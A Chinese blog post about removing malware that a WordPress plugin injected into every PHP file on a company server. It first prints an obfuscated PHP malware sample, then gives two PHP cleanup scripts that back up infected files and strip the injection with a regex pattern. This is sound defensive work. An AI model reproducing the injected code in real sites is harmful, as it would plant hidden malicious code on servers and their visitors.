公司一些wordpress网站由于下载的插件存在恶意代码，导致整个服务器所有网站PHP文件都存在恶意代码，就写了个简单的脚本清除。
恶意代码示例
<?php if(!isset($GLOBALS["/x61/156/x75/156/x61"])) { $ua=strtolower($_SERVER["/x48/124/x54/120/x5f/125/x53/105/x52/137/x41/107/x45/116/x54"]); if ((! strstr($ua,"/x6d/163/x69/145")) and (! strstr($ua,"/x72/166/x3a/61/x31"))) $GLOBALS["/x61/156/x75/156/x61"]=1; } ?><?php $bssaiikhvn = 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NULL); }ovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7824c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cI#64y]552]e7y]#>n%x5c%x7825<#3722!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function 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&& (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBAL7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5g!)%x5c%x7825z>>2*!%x5c%x7825z>3<!f825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x-t.98]K4]65]D8]86]y31]278]y3f]5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x3]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73"66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6x7824<%x5c%x7825j,,*!|%x5c%x7824c%x7822)7gj6<*QDU%x5c%%x785c%x5c%x7825j:^<!%x5c%x7825w%jfgg($n){return chr(ord($n)-1);} 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$bssaiikhvn=$jtgibaqypx-1; ?>恶意代码清理程序
<?php /** * 文件名：delUnwantedCode.php * 功能：删除FTP里恶意代码 * 使用说明： * 请将文件上传到需要清除恶意代码的目录，然后通过CLI或浏览器访问即可，原有被感染的文件会自动备份 */$path = dirname(__FILE__); #定义需要处理的目录$bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #定义源文件备份目录，程序过滤恶意代码前，先按原有的路径备份文档到此目录$fileType = array('php'); #定义需要处理的文件类型（后缀名），小写$search = array('@</?php/s*if/(/!isset/(/$GLOBALS/["///x61///156///x75///156///x61"/]/)/).*/$bssaiikhvn=/$jtgibaqypx-1;/s*/?>@si'); #定义需要过滤的恶意代码规则$search_count = array( 'all_file'=>array(), #所有文件 'search_file0'=>array(), #没有恶意代码文件 'search_file1'=>array() #含有恶意代码文件);$filelist = listDir($path,$fileType,false); #读取目录里符合条件文件列表if(!empty($filelist)){ foreach ($filelist as $file){ $file = (isset($file['name'])?$file['name']:$file); $search_count['all_file'][] = $file; $fileContent = file_get_contents($file); $compile_fileContent = preg_replace($search, '', $fileContent); if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){ #过滤后文件长度不一致，则表示含有恶意代码（备份文件所在目录不过滤） $search_count['search_file1'][] = $file; ############备份原有文件 开始############### $bakFile = str_replace($path, $bak_path, $file); @make_dir(dirname($bakFile)); @file_put_contents($bakFile, $fileContent); ############备份原有文件 结束############### #重新写入过滤后的内容到原有的PHP文件 @file_put_contents($file, $compile_fileContent); }else{ $search_count['search_file0'][] = $file; } }} #print_r($search_count);die;echo sprintf('从%s里共搜索到%s个符合条件的文件，其中%s个存在恶意代码，已处理结束',$path,count($search_count['all_file']), count($search_count['search_file1']));die;########################## 辅助函数######################## /** * 检查目标文件夹是否存在，如果不存在则自动创建该目录 * * @access public * @param string folder 目录路径。不能使用相对于网站根目录的URL * * @return bool */function make_dir($folder){ $reval = false; if (!file_exists($folder)){ #如果目录不存在则尝试创建该目录 @umask(0); #将目录路径拆分成数组 preg_match_all('/([^//]*)//?/i', $folder, $atmp); #如果第一个字符为/则当作物理路径处理 $base = ($atmp[0][0] == '/') ? '/' : ''; #遍历包含路径信息的数组 foreach ($atmp[1] AS $val){ if ('' != $val){ $base .= $val; if ('..' == $val || '.' == $val){ #如果目录为.或者..则直接补/继续下一个循环 $base .= '/'; continue; } }else{ continue; } $base .= '/'; if (!file_exists($base)){ #尝试创建目录，如果创建失败则继续循环 if (@mkdir(rtrim($base, '/'), 0777)){ @chmod($base, 0777); $reval = true; } } } }else{ #路径已经存在。返回该路径是不是一个目录 $reval = is_dir($folder); } clearstatcache(); return $reval;}########获取目录下所有文件，包括子目录 开始################function listDir($path,$fileType=array(),$fileInfo=true){ $path = str_replace(array('/','//'), DIRECTORY_SEPARATOR, $path); if(!file_exists($path)||!is_dir($path)){ return ''; } if(substr($path, -1,1)==DIRECTORY_SEPARATOR){ $path = substr($path, 0,-1); } $dirList=array(); $dir=opendir($path); while($file=readdir($dir)){ #若有定义$fileType，并且文件类型不在$fileType范围内或文件是一个目录，则跳过 if($file!=='.'&&$file!=='..'){ $file = $path.DIRECTORY_SEPARATOR.$file; if(is_dir($file)){ if(empty($fileType)){ $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file))):$file); } $dirList = array_merge($dirList,listDir($file,$fileType)); }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){ $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime'=>filemtime($file)):$file); } }; }; closedir($dir); return $dirList;}########获取目录下所有文件，包括子目录 结束################删除FTP里恶意代码(支持任意数量的文件处理)
<?php /** * 文件名：delAllUnwantedCode.php * 功能：删除FTP里恶意代码(支持任意数量的文件处理) * 使用说明： * 请将文件上传到需要清除恶意代码的目录，然后通过CLI或浏览器访问即可，原有被感染的文件会自动备份 */set_time_limit(0);ignore_user_abort(true);$path = dirname(__FILE__); #定义需要处理的目录$bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #定义源文件备份目录，程序过滤恶意代码前，先按原有的路径备份文档到此目录$fileType = array('php'); #定义需要处理的文件类型（后缀名），小写$search = array('@</?php/s*if/(/!isset/(/$GLOBALS/["///x61///156///x75///156///x61"/]/)/).*/$bssaiikhvn=/$jtgibaqypx-1;/s*/?>@si'); #定义需要过滤的恶意代码规则$file_count = array( 'all_file'=>0, #所有文件 'filter_file'=>0 #含有恶意代码文件);replaceUnwantedCode($path); #执行过滤#print_r($search_count);die;echo sprintf('从%s里共搜索到%s个符合条件的文件，其中%s个存在恶意代码已清理，原始文件保存在%s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die;function replaceUnwantedCode($path){ global $bak_path,$fileType,$search,$file_count; $path = str_replace(array('/','//'), DIRECTORY_SEPARATOR, $path); if(!file_exists($path)||!is_dir($path)){ return ''; } if(substr($path, -1,1)==DIRECTORY_SEPARATOR){ $path = substr($path, 0,-1); } $dir=opendir($path); while($file=readdir($dir)){ #若有定义$fileType，并且文件类型不在$fileType范围内或文件是一个目录，则跳过 if($file!=='.'&&$file!=='..'){ $file = $path.DIRECTORY_SEPARATOR.$file; if(is_dir($file)){ replaceUnwantedCode($file); }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){ ################################ @$file_count['all_file']++; $fileContent = file_get_contents($file); #文件原始代码 $compile_fileContent = preg_replace($search, '', $fileContent); #过滤后的内容 if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){ #过滤后文件长度不一致，则表示含有恶意代码（备份文件所在目录不过滤） $file_count['filter_file']++; ############备份原有文件 开始############### $bakFile = str_replace($path, $bak_path, $file); @make_dir(dirname($bakFile)); @file_put_contents($bakFile, $fileContent); ############备份原有文件 结束############### #重新写入过滤后的内容到原有的PHP文件 @file_put_contents($file, $compile_fileContent); } ################################ unset($fileContent,$compile_fileContent); } }; }; closedir($dir); return true;}########################## 辅助函数######################## /** * 检查目标文件夹是否存在，如果不存在则自动创建该目录 * * @access public * @param string folder 目录路径。不能使用相对于网站根目录的URL * * @return bool */function make_dir($folder){ $reval = false; if (!file_exists($folder)){ #如果目录不存在则尝试创建该目录 @umask(0); #将目录路径拆分成数组 preg_match_all('/([^//]*)//?/i', $folder, $atmp); #如果第一个字符为/则当作物理路径处理 $base = ($atmp[0][0] == '/') ? '/' : ''; #遍历包含路径信息的数组 foreach ($atmp[1] AS $val){ if ('' != $val){ $base .= $val; if ('..' == $val || '.' == $val){ #如果目录为.或者..则直接补/继续下一个循环 $base .= '/'; continue; } }else{ continue; } $base .= '/'; if (!file_exists($base)){ #尝试创建目录，如果创建失败则继续循环 if (@mkdir(rtrim($base, '/'), 0777)){ @chmod($base, 0777); $reval = true; } } } }else{ #路径已经存在。返回该路径是不是一个目录 $reval = is_dir($folder); } clearstatcache(); return $reval;}下一篇: WordPress网站性能优化指南